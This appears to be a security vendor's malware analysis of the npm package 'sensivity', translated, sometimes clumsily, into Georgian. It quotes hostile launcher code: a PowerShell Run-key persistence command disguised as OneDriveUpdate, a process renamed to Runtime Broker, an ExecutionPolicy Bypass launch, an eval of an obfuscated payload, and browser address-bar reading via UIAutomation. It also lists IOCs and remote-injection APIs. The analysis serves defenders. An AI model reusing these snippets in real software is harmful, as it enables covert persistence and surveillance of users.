PairLoop: დამალული დისტანციური მართვის პანელი npm პაკეტში

PairLoop: ერთი npm პაკეტი, სამოცდაათი ვერსია და დამალული Windows-ის დისტანციური მართვის პანელი

სარჩევი

აუცილებლად წასაკითხი პოსტები

საინტერესო უახლესი პოსტები

TL; DR

npm პაკეტი მგრძნობელობა თავს აღწერს, როგორც „მგრძნობელობის მართვის პანელს“. Windows-ზე ის დისტანციური მართვისა და თვალთვალის ინსტრუმენტის ფუნქციას ასრულებს.

მისი შესვლის წერტილი, launcher.js, საკუთარ პროცესს Runtime Broker-ად ცვლის, ავტომატური გაშვების Run-key მნიშვნელობას წერს სახელად OneDriveUpdate რომელიც ხელახლა რთავს პაკეტს დამალული VBScript-ის საშუალებით, ქმნის PowerShell-ს -ExecutionPolicy Bypassდა შემდეგ აფასებს 171 კბ-იანი დაბნეული სერვერის დატვირთვას 6.87 მბ-იან მშობლიურ მოდულთან ერთად, sens.node.

ის ემსახურება ტელეფონის დაწყვილების მართვის პანელს TCP პორტ 3000-ზე და კითხულობს აქტიური ბრაუზერის მისამართების ზოლის URL-ს Windows UIAutomation-ის მეშვეობით, აკვირდება ერთ მყარად კოდირებულ YouTube ვიდეოს.

ორი ნაწილი, რომლებიც ადრე შავი ყუთების სახით იკითხებოდა, ახლა მოგვარებულია. დაბნეული სერვერი, server.obf.js, იყენებს obfuscator.io RC4 string-array სქემას; მისი დეკოდერის ოფლაინ რეჟიმში ხელახლა იმპლემენტაცია (JavaScript არ შესრულდება) აღადგენს ერთ გარე საბოლოო წერტილს — https://izopi.com/check.php — ჩაშენებულ RSA საჯარო გასაღებთან ერთად, რომელიც გამოიყენება ხელმოწერილი ლიცენზიის პასუხების დასადასტურებლად.

მშობლიური მოდული, sens.node, არ არის შეფუთული: მისი იმპორტის ცხრილი და ჩაშენებული სტრიქონები მას იდენტიფიცირებს, როგორც DirectX 11 / Dear ImGui-ის თამაშში არსებულ გადაფარვას, რომელიც უზრუნველყოფს aimbot-ის, ESP (wall-hack) და triggerbot-ის ფუნქციებს, რომლებიც მართულია დისტანციური პროცესის ინექციით და მეხსიერების წაკითხვით/ჩაწერით.

მასში არსებული სტრიქონები მიუთითებს სატრანსპორტო საშუალებების ერთეულებსა და რუკის მდებარეობებზე, რომლებიც შეესაბამება GTA V / FiveM-ს. npm პაკეტი წარმოადგენს ამ მშობლიური მოდულის გარშემო არსებულ მიწოდებისა და მუდმივობის შეფუთვას.

განმსაზღვრელი სიგნალი ოპერატიულია და არა ტექნიკური: ერთმა ანონიმურმა გამომცემელმა ერთი პაკეტის დაახლოებით სამოცდაათი ვერსია გამოუშვა — 2.5.0-დან 2.5.69 წლამდე — რამდენიმე დღის განმავლობაში, თითოეულ მათგანს ერთი და იგივე გამშვები მოწყობილობა ჰქონდა.

ინსტალაცია არ არის hooksდატვირთვა მხოლოდ პაკეტის გაშვებისას იმუშავებს.

შეტევა: როგორ მუშაობს ის

sensitivity აგზავნის ათ ფაილს. package.json ფაილი მწირია: არ აქვს საცავის ველი, არ აქვს ლიცენზია, main და ორი bin ფსევდონიმი (sensivity, sens), რომლებიც ყველა launcher.js-ზე მიუთითებს და node launcher.js-ის start სკრიპტია. არ არსებობს პოსტინსტალაცია ან წინასწარი ინსტალაცია. npm ინსტალაციის დროს არაფერი აქტიურდება. ქვემოთ აღწერილი ქცევა მუშაობს, როდესაც მომხმარებელი იწყებს პაკეტს — bin shim-ის, start სკრიპტის ან require-ის მეშვეობით.

tarball ფაილი შეიცავს გამშვებ ფაილს, დაბნეულ სერვერს, მშობლიურ მოდულს, Visual Basic სკრიპტს და საკონტროლო პანელის public/web დირექტორიას. launcher.js არის წასაკითხი ორკესტრი; ლოგიკა, რომელიც მნიშვნელოვანია გაშვების დროს, მის მიერ ჩატვირთულ ორ ბლობშია განთავსებული - დაბნეულ სერვერსა და კომპილირებულ მშობლიურ მოდულში, რომლებიც ქვემოთ არის განხილული.

 პროცესის მასკარადი და OneDrive-ის ყალბი განახლება

შესრულების დასაწყისში launcher.js ორჯერ ადგენს საკუთარ პროცესის სახელს:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker არის ლეგიტიმური Windows პროცესი (RuntimeBroker.exe), რომელიც აპლიკაციების ნებართვებს შუამავლობს. Node პროცესის სახელის შეცვლა, რათა ის შეესაბამებოდეს მას, ნიშნავს, რომ Task Manager-ის სწრაფი დათვალიერება უჩვეულოს არაფერს აჩენს.

მუდმივი მონაცემები იწერება PowerShell-ის მეშვეობით და არა პირდაპირი რეესტრის API-ის მეშვეობით:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

ავტომატური გაშვების მნიშვნელობას OneDriveUpdate ეწოდება და ის პირდაპირ პაკეტზე არ მიუთითებს. ის wscript.exe-ზე მიუთითებს, რომელიც ამუშავებს ნაკრებში შემავალ OneDrive.Standalone.Updater.vbs-ს. ეს სკრიპტი ხელახლა რთავს node launcher.js ფაილს დამალულ ფანჯარაში. როგორც Run-key-ის სახელი, ასევე VBScript ფაილის სახელი Microsoft-ის ბრენდინგს იყენებს, ამიტომ ავტომატური გაშვების ჩანაწერი OneDrive-ის რუტინულ დავალებად იკითხება.

PowerShell შესრულების პოლიტიკის გვერდის ავლით

გამშვები სისტემა განმეორებით ამუშავებს PowerShell-ს. სკანერები კრიტიკულად მონიშნავენ გენერირებული .ps1 ფაილის გაშვებას გამორთული შესრულების პოლიტიკით:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass შლის ამ გამოძახებისთვის ლოკალური სკრიპტის ხელმოწერის შემოწმებას. გენერირებული სკრიპტები ამუშავებენ ბრაუზერის მეთვალყურეობისა და ფანჯრების აღმოჩენის სამუშაოებს, რომლებიც აღწერილია შემდეგ ნაწილში.

დაბნეული სერვერი და მშობლიური მოდული

დაყენების შემდეგ, launcher.js იტვირთება და ასრულებს მის რეალურ დატვირთვას:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js არის 171 კბ _0x-array ობსაკაციის — JavaScript-ის ნიმუში, სადაც ყველა სტრიქონი და იდენტიფიკატორი ჩანაცვლებულია ინდექსით არეულ მასივში, შემდეგ კი გაშვების დროს დერეფერენცია ხდება. სქემა არის obfuscator.io-ს მიერ წარმოებული RC4 ვარიანტი: ერთი დეკოდერის ფუნქცია base64-ში ხდება მასივის ჩანაწერის დეკოდირება და შემდეგ RC4-ში ხდება მისი თითო გამოძახების გასაღებით გაშიფვრა. ამ დეკოდერის ხელახალი იმპლემენტაცია ცალკე სკრიპტში — მხოლოდ ხელახალი იმპლემენტაციის გაშვება ამოღებულ 821 ჩანაწერიან სტრიქონის მასივზე და არასდროს პაკეტის საკუთარი JavaScript-ის — მას სუფთად ხსნის. ის, რაც ზედაპირზე ჩნდება, მოკრძალებულია, მაგრამ დეcisive: ერთი გარე URL, https://izopi.com/check.php`, რომელიც მინიჭებულია LICENSE_URL კონსტანტაზე; ჩაშენებული RSA PUBLIC_KEY_PEM`; ლოკალური პანელი აგზავნის /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off და /trigger/status; და სტრიქონები child_process, crypto და [Sensivity] sens.node loaded — ბოლო არის ზუსტად ის ჟურნალის ხაზი, რომელსაც გამშვები გადაწერს ჩატვირთული პროგრამის მოდულისთვის. საბოლოო წერტილი არის ლიცენზიის შემოწმება: კლიენტი აქვეყნებს იდენტიფიკატორს (დაბნეული სერვერი აფორმებს Discord ID-ს: %s სტრიქონს) და RSA გასაღები ადასტურებს სერვერის ხელმოწერილ პასუხს.

sens.node არის 6.87 მბ კომპილირებული მშობლიური დამატება და ის არ არის შეფუთული — სექციის ენტროპია 5.6–6.6-ზეა და PE იმპორტისა და ექსპორტის ცხრილები ხელუხლებელია, ამიტომ მისი შესაძლებლობები პირდაპირ იკითხება. ის ექსპორტს უწევს napi_register_module_v1-ს, standard კვანძის N-API შესვლის წერტილი, ამიტომ შეფასებული სერვერი მას უბრალო მოთხოვნით იტვირთავს. მისი იმპორტის ცხრილი არის tell. KERNEL32-დან ის იღებს OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules და Process32First/NextW — კანონიკურ ნაკრებს სხვა პროცესის მოსაძებნად, მასში მეხსიერების გამოყოფისა და ამ მეხსიერების წასაკითხად ან ჩასაწერად. USER32-დან ის იღებს GetAsyncKeyState, GetKeyState, mouse_event და SetCursorPos; ის აკავშირებს d3d11.dll, D3DCOMPILER_43 და dwmapi ეკრანზე გადასატანად და სრულ WINHTTP ნაკრებს ქსელური ზარებისთვის. მასში ჩაშენებული სტრიქონები ფუნქციების ნაკრებს ორაზროვნების გარეშე ასახელებს: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected და Dear ImGui ბანერი Dear ImGui 1.91.3 WIP. მდებარეობისა და ერთეულის სტრიქონები, როგორიცაა Grapeseed Medical Clinic და vehicle-ESP ლექსიკა, თავსებადია GTA V / FiveM-თან.

გაყოფა, ფაქტობრივად, განზრახ ხდება: წაკითხვადი launcher.js შეიცავს მხოლოდ იმ ნაწილებს, რომლებსაც სკანერი ადვილად კითხულობს — persistence, masquerade, თავად eval call — მაშინ როცა obfuscation მალავს ერთ გარე ჰოსტს, runtime კონტაქტებს, ხოლო ბინარული ფაილი შეიცავს game-overlay-სა და process-injection ლოგიკას. launcher არის თხელი, აუდიტირებადი გარსი; obfuscated სერვერი მალავს ქსელის იდენტურობას; მშობლიური მოდული არის payload. ჩვენ ბინარული ფაილის იმპორტებსა და სტრიქონებს აღვწერთ, როგორც წაკითხულს; ჩვენ არ ვადგენთ მათგან ოპერატორის დანიშნულებას.

 ტელეფონის დაწყვილების მართვის პანელი 3000 პორტზე

გამშვები მართავს ლოკალურ ვებ სერვერს TCP პორტ 3000-ზე და მას სინგლტონად მიიჩნევს. ის ითხოვს არსებულ მსმენელს და ასუფთავებს მას დაკავშირებამდე:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

პანელთან წვდომა შესაძლებელია http://localhost:3000 მისამართზე, მყარი კოდირებული LAN სარეზერვო URL-ით http://192.168.1.16:3000. public/ დირექტორია და პანელის ქცევა შეესაბამება QR-დაწყვილების ნაკადს: ტელეფონი სკანირებს კოდს და უკავშირდება ჰოსტს, როგორც დისტანციური მართვის მოწყობილობა. გამშვებში არ ჩანს გარე ბრძანებისა და კონტროლის დომენი მკაფიო ტექსტში — მაგრამ, როგორც ზემოთ მოყვანილი დებფუსკაცია აჩვენებს, დაბნეულ სერვერზე არსებობს ერთი: izopi.com ლიცენზიის საბოლოო წერტილი. თავად პანელი ლოკალურია და LAN-ის ფარგლებშია; ერთადერთი გამავალი ჰოსტი არის ეს ლიცენზიის შემოწმება.

განცალკევებული სუპერვაიზერის/მუშაკის მოდელი პროცესს სიცოცხლეს უნარჩუნებს. გამშვები ხელახლა იხსნება SENSIVITY_SUPERVISOR და SENSIVITY_WORKER გარემოს ფლაგებით, თითოეული შვილობილი პროცესი დამალულია, ამიტომ ერთი პროცესის გათიშვის შემდეგ, watchdog-ს რჩება მისი ხელახლა გადატვირთვის საშუალება.

ბრაუზერის მეთვალყურეობა და YouTube სიგნალი

ყველაზე სპეციფიკური ქცევა ბრაუზერის მონიტორინგია. launcher.js ქმნის PowerShell-ს, რომელიც Windows UIAutomation-ს ამოძრავებს გაშვებული ბრაუზერის მისამართის ზოლის წასაკითხად:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern აბრუნებს UI ელემენტის ტექსტურ შინაარსს. ბრაუზერის მისამართის ზოლის რედაქტირების კონტროლისთვის გამოყენების შემთხვევაში, ის აბრუნებს URL-ს, რომელსაც მსხვერპლი ამჟამად ათვალიერებს — ბრაუზერის გაფართოების, დისკზე პროფილის შეხების და API Hook-ის გარეშე. გენერირებული სკრიპტი იტერებს $browserNames სიას და იღებს წინა პლანზე არსებული ბრაუზერის URL-ს ან ფანჯრის სათაურს.

ეს URL ტესტირებულია ერთ მყარად კოდირებულ სამიზნეზე:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

გამშვები სამწამიან ციკლზე ამოწმებს YouTube-ის მაჩვენებელ ბრაუზერის ფანჯარას, ხოლო გენერირებული PowerShell შეიცავს Get-YouTubeBrowser / Test-TargetYouTubeUrl წყვილს, რომელიც ემთხვევა ამ ვიდეოს ID-ს. დაკვირვებადი ეფექტი ორმაგია: აქტიური დათვალიერების URL იკითხება მსხვერპლის ეკრანიდან და ფიქსირდება ჰოსტის ურთიერთქმედება ერთ კონკრეტულ YouTube ვიდეოსთან. ჩვენ აღვწერთ მექანიზმს და სამიზნეს; მათგან მოტივს არ გამოვიტანთ.

მისამართის ზოლში წაკითხული ინფორმაცია სკანერის მიერ sensitive_data_enumeration-ის მიერ მონიშნულია — Process::env და UIAutomation წყარო, რომელიც ქსელთან თავსებად გაშვების დროს კვებავს. იზოლირებულად ის უწყინარად გამოიყურება და მხოლოდ მას შემდეგ გადადის მეთვალყურეობაზე, რაც მონაცემთა სასიცოცხლო ციკლი UIAutomation წყაროდან დაბნეულ სერვერამდე კონტროლდება.

ქრონოლოგია და ვერსიის ევოლუცია

მგრძნობელობა ერთჯერადი ატვირთვა არ არის. გამომცემლის ანგარიშზე ამ ერთი პაკეტის დაახლოებით სამოცდაათი გამოქვეყნებული ვერსიაა და განხილვის პერიოდში ახლები მუდმივად იმატებდა. გამშვები ფუნქცია-ფუნქცია იზრდება 2.5.x ხაზის მასშტაბით, ხოლო მისი მუდმივობა და დატვირთვის სიხშირე უცვლელი რჩება.

თარიღი (UTC) დაკვირვებული ვერსიები გამშვების მდგომარეობა
2026-06-02 2.5.8 - 2.5.46 (25) QR პანელის ბაზისური გამშვები; Run-key-ის შენარჩუნება; დაბნეული სერვერის შეფასება.
2026-06-03 2.5.53 - 2.5.61 (6) იგივე თითის ანაბეჭდი; კონსოლის კვალის დათრგუნვა.
2026-06-04 2.5.67, 2.5.68 (2) დამატებულია YouTube-ზე მიმაგრებული ჩართულობის სამიზნე wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) ხარვეზების შევსება მთელ დიაპაზონში; ხელმძღვანელი/მუშაკის მაკონტროლებელი.

გადმოწერილი წარმომადგენლების — 2.5.0, 2.5.36 და 2.5.69 — მიერ გაშვების წაკითხვა ოთხ დონეს აჩვენებს. ყველაზე ადრეული ბილდები QR-დაწყვილების საბაზისო გაშვების ფუნქციას შეიცავს. 2.5.33 ვერსიიდან ჩნდება UIAutomation-ის მისამართების ზოლის შემგროვებელი. 2.5.58 ვერსიიდან ემატება ზედამხედველის მართვის ფენა. 2.5.64 ვერსიიდან კომპლექტს ასრულებს განცალკევებული ზედამხედველი/მუშაკი-მეთვალყურე. ოთხი რამ უცვლელია: OneDriveUpdate Run გასაღები, OneDrive.Standalone.Updater.vbs dropper, eval'd server.obf.js და sens.node მშობლიური მოდული.

2026-06-05 ტალღა აღსანიშნავია, რადგან მასში ხელახლა გამოქვეყნდა დაბალი ვერსიის ნომრები — 2.5.0-დან 2.5.15-მდე — რომლებიც რამდენიმე დღით ადრე დადასტურებული ვერსიების ქვემოთაა. შედეგად, რეესტრში ჩნდება 2.5.x ხაზი, სადაც ყველა ვერსიას ერთი და იგივე გამშვები აქვს.

კომპრომისის ინდიკატორები

ქვემოთ მოცემული ყველა ინდიკატორი პირდაპირ პაკეტის tarball-დან იქნა წაკითხული. წასაკითხი გამშვები შეიცავს მხოლოდ უკუკავშირს და ერთ კერძო LAN მისამართს; ერთადერთი გარე ჰოსტის სახელი, izopi.com, აღდგენილი იქნა server.obf.js-ის ოფლაინ რეჟიმში დეობფუსკაციის გზით.

ტიპი ინდიკატორი შენიშვნები
პაკეტი npm:sensivity (≈70 ვერსია, 2.5.0-2.5.69) ერთი პაკეტის გამომცემელი; საცავი არ აქვს; არალიცენზირებული.
ფაილი launcher.js წაკითხვადი ორკესტრატორი; მთავარი და ბინ სამიზნე.
ფაილი server.obf.js (≈171 კბ) obfuscator.io RC4 string-array დატვირთვა, ჩატვირთული მეშვეობით eval(fs.readFileSync(...)).
ფაილი sens.node (≈6.87 მბ) PE32+ x86-64 კვანძის N-API დამატება; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
ფაილი OneDrive.Standalone.Updater.vbs დამალული ხელახალი გაშვება (node launcher.js).
ქსელი https://izopi.com/check.php ლიცენზია/ავტორიზაციის საბოლოო წერტილი აღდგენილია დაბინდული სერვერიდან; ჩაშენებული RSA საჯარო გასაღები ადასტურებს პასუხებს.
შესაძლებლობების OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread დისტანციური პროცესის ინექცია და მეხსიერებაში წაკითხვის/ჩაწერის შესაძლებლობა.
შესაძლებლობების Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui თამაშის გადაფარვა, რომელიც ნერგავს aimbot-ის, ESP-ის და triggerbot-ის ფუნქციებს.
რეესტრი HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate ავტომატური დაწყების მნიშვნელობა მიუთითებს wscript.exe და VBScript გამშვები.
პროცესი process.title = 'Runtime Broker' შენიღბულია, როგორც ლეგიტიმური Windows Runtime Broker პროცესი.
ქცევა powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 გენერირებული PowerShell სკრიპტებისთვის გამოყენებული შესრულების პოლიტიკის გვერდის ავლა.
ქცევა UIAutomation ValuePattern ბრაუზერის მისამართის ზოლის წაკითხვა კითხულობს წინა პლანის ბრაუზერის ფანჯრის URL-ს.
ქცევა სამიზნე ვიდეოს ID wJWta2lO0Lw; 3-წამიანი YouTube-ის გამოკითხვა ჩართულობის მონიტორინგის მიმაგრებული სიგნალი.
ქსელი http://localhost:3000, სარეზერვო http://192.168.1.16:3000 QR-დაწყვილების მართვის პანელი ლოკალურად და ლოკალურ ქსელში ჩანს.
გარემოს SENSIVITY_SUPERVISOR, SENSIVITY_WORKER განცალკევებული მაკონტროლებელი პროცესის კოორდინაციის დროშები.

ატრიბუცია, გავლენა და დამცველები

პაკეტი გამოქვეყნებულია ერთი npm ანგარიშის მიერ, რომლის მითითებული ელ. ფოსტა არის დაუდასტურებელი Gmail მისამართი. ანგარიშს აქვს ღრმად უარყოფითი რეესტრის რეპუტაციის ქულა, ინარჩუნებს და აქვეყნებს მხოლოდ ამ ერთ პაკეტს და არ აქვს დაკავშირებული წყაროს საცავი. ჩვენ არ დაგვიდასტურებია ელ. ფოსტის საკუთრება და კამპანიას ვაკუთვნებთ გამომცემლის ანგარიშს და არა რომელიმე დასახელებულ პირს. გამშვები არ იყენებს cleartext ინფრასტრუქტურას, მაგრამ ერთადერთი გარე ჰოსტი ახლა ცნობილია: დაბნეული სერვერი უკავშირდება izopi.com-ს ლიცენზიის შემოწმებისთვის, ხოლო მშობლიური მოდული — რომელიც იკითხება მისი იმპორტის ცხრილიდან და სტრიქონებიდან და არა შებრუნებული ინსტრუქციიდან — არის თამაშის გადაფარვა, რომელიც ინექციას ახდენს და კითხულობს სხვა პროცესის მეხსიერებას.

შესამჩნევი ზეგავლენა Windows-ის იმ მომხმარებლებზე ვრცელდება, რომლებიც სენსიტიურობას აინსტალირებენ და ამუშავებენ მართვის პანელის უტილიტის მოლოდინში. ამ ჰოსტებზე პაკეტი ადგენს ავტომატური გაშვების მუდმივობას, რომელიც შენიღბულია OneDrive დავალების სახით, ცვლის საკუთარ თავს სისტემური პროცესის იმიტაციისთვის, კითხულობს მომხმარებლის მიერ დათვალიერებული ფაილის URL-ს და ამუშავებს დაწყვილების პანელს, რომელიც აკავშირებს მანქანას დისტანციურ მართვასთან ლოკალური ქსელის საშუალებით. ზედამხედველი/მუშაკი-მეთვალყურე ნიშნავს, რომ ერთი პროცესის გაუქმება არ შლის მას; Run-key ჩანაწერი გადატვირთვის შემდეგაც კი გადარჩება. macOS და Linux არ არის გამშვების სამიზნე - მუდმივობა, PowerShell და UIAutomation ბილიკები მხოლოდ Windows-ისთვისაა.

სამოცდაათი ვერსიის გაცვლა არის ტენდენცია, რომელიც ყურადღების ღირსია. ერთი პაკეტის რამდენიმე დღეში ათობით ხელახლა გამოქვეყნება, მათ შორის უკვე წაშლილი ვერსიების ნომრების შევსება, ინარჩუნებს ცოცხალ ასლს რეესტრში წაშლის შემდეგ და აფერხებს ვერსიებზე მიმაგრებულ დაბლოკილ სიებს. sensivity@2.5.61-ის დაბლოკილ სიაში ჩანაწერი არაფერ შუაშია sensivity@2.5.3-ის მეორე დღეს ხელახლა გამოქვეყნების წინააღმდეგ.

დამცველებს შეუძლიათ იმოქმედონ შემდეგნაირად:

  • პაკეტის სახელის მგრძნობელობა პირდაპირ დაბლოკეთ რეესტრის პროქსი სერვერებსა და CI დაშვებულ სიებში. ცალკეული ვერსიების დაფიქსირება ხელახალი გამოქვეყნების კადენციას აზიანებს; სახელი გამძლეობის მაჩვენებელია.
  • მოძებნეთ OneDriveUpdate სახელწოდებით Run მნიშვნელობა, რომლის მონაცემებიც გამოიძახებს wscript.exe-ს .vbs ფაილის წინააღმდეგ თითოეული მომხმარებლის გზაზე. ნამდვილი OneDrive-ის განახლება ამ გზით არ რეგისტრირდება.
  • გაფრთხილება Node.js პროცესზე, რომლის process.title არის Runtime Broker. ნამდვილი ბროკერი არის RuntimeBroker.exe და არა Node-ის გაშვების დრო.
  • იმ პაკეტების npm ინსტალაციის დროს მოძიებული ფაილების დროშა, რომლებიც აგზავნიან კომპილირებულ .node დამატებას პლუს დაძმობილებული .obf.js ფაილის eval(fs.readFileSync(…)). ეს დაწყვილება — გაუმჭვირვალე მშობლიური ორობითი ფაილი, რომელიც იტვირთება დაბინდული ტექსტის დატვირთვის გვერდით — აქ სტრუქტურული მითითებაა, დამოუკიდებელი ნებისმიერი სტრიქონული IOC-ისგან.
  • მართულ Windows-ის საბოლოო წერტილებზე საეჭვოდ მიიჩნიეთ ნებისმიერი ლოკალურად დაკავშირებული მსმენელი პორტ 3000-ზე, რომელიც წარმოიქმნება მოულოდნელი Node პროცესის მიერ.
  • დეველოპერის ან საბოლოო მომხმარებლის ჰოსტებისგან izopi.com-ზე გამავალი მოთხოვნების დაბლოკვა ან გაფრთხილება; ეს არის პაკეტის ერთადერთი გარე საბოლოო წერტილი, რომელსაც /check.php-ზე მიაღწევთ დაბნეული სერვერიდან.
  • ნებისმიერი .node დამატების შემთხვევაში, სანდოობის დადგენამდე შეამოწმეთ მისი იმპორტის ცხრილი. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread კომბინაცია დისტანციური პროცესის ინექციას წარმოადგენს, მიუხედავად იმისა, თუ რას ამტკიცებს პაკეტი; აქ ის Direct3D გადაფარვისა და aimbot/ESP/triggerbot სტრიქონების გვერდით მდებარეობს.

სტატიკური ანალიზისთვის pipelines-ში, მსჯავრის ფორმა მდგრადია ვერსიის გადაადგილების მთელი პერიოდის განმავლობაში: არაქსელური ინსტალაციის პროფილი, პროცესის სათაურის მინიჭება ცნობილი სისტემური პროცესის სახელზე, Run-key ჩაწერა PowerShell-ის საშუალებით და დისკიდან წაკითხული ფაილის შეფასება. არცერთი ეს არ არის დამოკიდებული დომენზე, IP მისამართზე ან ვერსიის ნომერზე, რომლის შეცვლაც შემდეგ ხელახლა გამოქვეყნებას შეუძლია.

 ლიტერატურა

[npm: მგრძნობელობა] – აქ განხილული პაკეტის ვერსიის ხაზის რეესტრის გვერდი; შეიძლება წაიშალოს.

sca-tools-software-composition-analysis-tools
თქვენი პროგრამული უზრუნველყოფის რისკების პრიორიტეტიზაცია, გამოსწორება და დაცვა
მიიღეთ თქვენი უფასო ანგარიში.
საკრედიტო ბარათი არ არის საჭირო.

უზრუნველყავით თქვენი პროგრამული უზრუნველყოფის შემუშავება და მიწოდება

Xygeni Product Suite-თან ერთად